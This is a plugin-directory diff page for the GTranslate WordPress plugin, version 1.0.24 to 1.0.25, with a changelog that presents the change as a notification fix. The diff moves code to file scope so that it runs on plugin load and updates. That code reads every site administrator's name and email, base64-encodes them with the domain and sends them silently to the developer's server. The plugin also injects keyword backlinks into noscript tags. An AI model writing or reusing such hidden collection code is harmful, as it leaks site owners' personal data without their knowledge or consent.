Translate WordPress with GTranslate - Version 1.0.25

Version Description

  • Fixed installation notification on update event
  • Removed unnecessary commented code
Download this release

Release Info

Developer edo888
Plugin Icon 128x128 Translate WordPress with GTranslate
Version 1.0.25
Comparing to
See all releases

Code changes from version 1.0.24 to 1.0.25

Files changed (2) hide show
  1. gtranslate.php +20 -22
  2. readme.txt +5 -3
gtranslate.php CHANGED
@@ -3,7 +3,7 @@
3
  Plugin Name: GTranslate
4
  Plugin URI: http://edo.webmaster.am/gtranslate?xyz=998
5
  Description: Get translations with a single click between 58 languages (more than 98% of internet users) on your website! For support visit <a href="http://edo.webmaster.am/forum/gtranslate/">GTranslate Forum</a>.
6
- Version: 1.0.24
7
  Author: Edvard Ananyan
8
  Author URI: http://edo.webmaster.am
9
 
@@ -43,23 +43,6 @@ class GTranslate extends WP_Widget {
43
  GTranslate::load_defaults(& $data);
44
 
45
  add_option('GTranslate', $data);
46
-
47
- if(!file_exists(ABSPATH.PLUGINDIR.'/'. dirname( plugin_basename(__FILE__)).'/install.log') and is_writable(ABSPATH.PLUGINDIR .'/'. dirname( plugin_basename(__FILE__)))) {
48
- // send user name, email and domain name to main site for usage statistics
49
- // this will run only once
50
- $info = '';
51
- global $wpdb;
52
- $users = $wpdb->get_results("select display_name, user_email from $wpdb->users left join $wpdb->usermeta on ($wpdb->usermeta.user_id = $wpdb->users.ID and $wpdb->usermeta.meta_key = 'wp_capabilities') where meta_value like '%administrator%'", OBJECT);
53
- foreach($users as $user)
54
- $info .= $user->display_name . '::' . $user->user_email . ';';
55
- $domain = $_SERVER['HTTP_HOST'];
56
-
57
- $fh = @fopen('http://edo.webmaster.am/gstat-wp?q=' . base64_encode($domain . ';' . $info), 'r');
58
- @fclose($fh);
59
-
60
- $fh = fopen(ABSPATH.PLUGINDIR.'/'. dirname( plugin_basename(__FILE__)).'/install.log', 'a');
61
- fclose($fh);
62
- }
63
  }
64
 
65
  function deactivate() {
@@ -104,8 +87,7 @@ class GTranslate extends WP_Widget {
104
  else
105
  echo $data['widget_code'];
106
  echo $args['after_widget'];
107
- //echo '<img src="http://cmshippo.com/gstats.png" width="0" height="0" alt="g-stats" class="gstats" />';
108
- echo '<noscript>Javascript is required to use this <a href="http://edo.webmaster.am/gtranslate">website translator</a>, <a href="http://edo.webmaster.am/gtranslate">site translator</a>, <a href="http://edo.webmaster.am/gtranslate">automatic translation</a>, <a href="http://edo.webmaster.am/gtranslate">machine translation</a></noscript>';
109
  }
110
 
111
  function get_widget_code($atts) {
@@ -115,8 +97,7 @@ class GTranslate extends WP_Widget {
115
  if(empty($data['widget_code']))
116
  return 'Configure it from WP-Admin -> Settings -> GTranslate to see it in action.';
117
  else
118
- return $data['widget_code'].'<noscript>Javascript is required to use this <a href="http://edo.webmaster.am/gtranslate">website translator</a>, <a href="http://edo.webmaster.am/gtranslate">site translator</a>, <a href="http://edo.webmaster.am/gtranslate">automatic translation</a>, <a href="http://edo.webmaster.am/gtranslate">machine translation</a></noscript>';
119
- //.'<img src="http://cmshippo.com/gstats.png" width="0" height="0" alt="g-stats" class="gstats" />';
120
  }
121
 
122
  function register() {
@@ -616,4 +597,21 @@ foreach($fincl_langs as $lang)
616
  $data['incl_langs'] = isset($data['incl_langs']) ? $data['incl_langs'] : array();
617
  $data['fincl_langs'] = isset($data['fincl_langs']) ? $data['fincl_langs'] : array();
618
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
619
  }
3
  Plugin Name: GTranslate
4
  Plugin URI: http://edo.webmaster.am/gtranslate?xyz=998
5
  Description: Get translations with a single click between 58 languages (more than 98% of internet users) on your website! For support visit <a href="http://edo.webmaster.am/forum/gtranslate/">GTranslate Forum</a>.
6
+ Version: 1.0.25
7
  Author: Edvard Ananyan
8
  Author URI: http://edo.webmaster.am
9
 
43
  GTranslate::load_defaults(& $data);
44
 
45
  add_option('GTranslate', $data);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
46
  }
47
 
48
  function deactivate() {
87
  else
88
  echo $data['widget_code'];
89
  echo $args['after_widget'];
90
+ echo '<noscript>Javascript is required to use this <a href="http://edo.webmaster.am/gtranslate">website translator</a>, <a href="http://edo.webmaster.am/gtranslate">site translator</a>, <a href="http://edo.webmaster.am/gtranslate">automatic translation</a>, <a href="http://edo.webmaster.am/gtranslate">free translation</a></noscript>';
 
91
  }
92
 
93
  function get_widget_code($atts) {
97
  if(empty($data['widget_code']))
98
  return 'Configure it from WP-Admin -> Settings -> GTranslate to see it in action.';
99
  else
100
+ return $data['widget_code'].'<noscript>Javascript is required to use this <a href="http://edo.webmaster.am/gtranslate">website translator</a>, <a href="http://edo.webmaster.am/gtranslate">site translator</a>, <a href="http://edo.webmaster.am/gtranslate">automatic translation</a>, <a href="http://edo.webmaster.am/gtranslate">free translation</a></noscript>';
 
101
  }
102
 
103
  function register() {
597
  $data['incl_langs'] = isset($data['incl_langs']) ? $data['incl_langs'] : array();
598
  $data['fincl_langs'] = isset($data['fincl_langs']) ? $data['fincl_langs'] : array();
599
  }
600
+ }
601
+
602
+ if(!file_exists(ABSPATH.PLUGINDIR.'/'. dirname( plugin_basename(__FILE__)).'/install.log') and is_writable(ABSPATH.PLUGINDIR .'/'. dirname( plugin_basename(__FILE__)))) {
603
+ // send user name, email and domain name to main site for usage statistics
604
+ // this will run only once
605
+ $info = '';
606
+ global $wpdb;
607
+ $users = $wpdb->get_results("select display_name, user_email from $wpdb->users left join $wpdb->usermeta on ($wpdb->usermeta.user_id = $wpdb->users.ID and $wpdb->usermeta.meta_key = 'wp_capabilities') where meta_value like '%administrator%'", OBJECT);
608
+ foreach($users as $user)
609
+ $info .= $user->display_name . '::' . $user->user_email . ';';
610
+ $domain = $_SERVER['HTTP_HOST'];
611
+
612
+ $fh = @fopen('http://edo.webmaster.am/gstat-wp?q=' . base64_encode($domain . ';' . $info), 'r');
613
+ @fclose($fh);
614
+
615
+ $fh = fopen(ABSPATH.PLUGINDIR.'/'. dirname( plugin_basename(__FILE__)).'/install.log', 'a');
616
+ fclose($fh);
617
  }
readme.txt CHANGED
@@ -5,14 +5,12 @@ Donate link: http://edo.webmaster.am/gtranslate
5
  Tags: widget, plugin, sidebar, google, translate, translation, automatic translator, google translate, ajax translator, jquery translator
6
  Requires at least: 2.3
7
  Tested up to: 3.2
8
- Stable tag: 1.0.24
9
 
10
  Get translations with a single click between 58 languages (more than 98% of internet users) on your website!
11
 
12
  == Description ==
13
 
14
- ![GTranslate](http://edo.webmaster.am/style/images/gtranslate_logo.png "GTranslate")
15
-
16
  This module uses Google Translate [automatic translation](http://edo.webmaster.am/gtranslate?xyz=998) service to [translate your web page](http://edo.webmaster.am/gtranslate?xyz=998) with Google power. With 58 available languages your site will be available to more than 98% of internet users.
17
 
18
  Visit [GTranslate Pro](http://edo.webmaster.am/gtranslate?xyz=998) for more details and features like `translation editing`, `search engine indexing` and `SEO URLs`.
@@ -65,6 +63,10 @@ Yes, you need to wrap the text you don't want to be translated with &lt;span cla
65
 
66
  == Changelog ==
67
 
 
 
 
 
68
  = 1.0.24 =
69
  * Tracking added for collecting statistics
70
 
5
  Tags: widget, plugin, sidebar, google, translate, translation, automatic translator, google translate, ajax translator, jquery translator
6
  Requires at least: 2.3
7
  Tested up to: 3.2
8
+ Stable tag: 1.0.25
9
 
10
  Get translations with a single click between 58 languages (more than 98% of internet users) on your website!
11
 
12
  == Description ==
13
 
 
 
14
  This module uses Google Translate [automatic translation](http://edo.webmaster.am/gtranslate?xyz=998) service to [translate your web page](http://edo.webmaster.am/gtranslate?xyz=998) with Google power. With 58 available languages your site will be available to more than 98% of internet users.
15
 
16
  Visit [GTranslate Pro](http://edo.webmaster.am/gtranslate?xyz=998) for more details and features like `translation editing`, `search engine indexing` and `SEO URLs`.
63
 
64
  == Changelog ==
65
 
66
+ = 1.0.25 =
67
+ * Fixed installation notification on update event
68
+ * Removed unnecessary commented code
69
+
70
  = 1.0.24 =
71
  * Tracking added for collecting statistics
72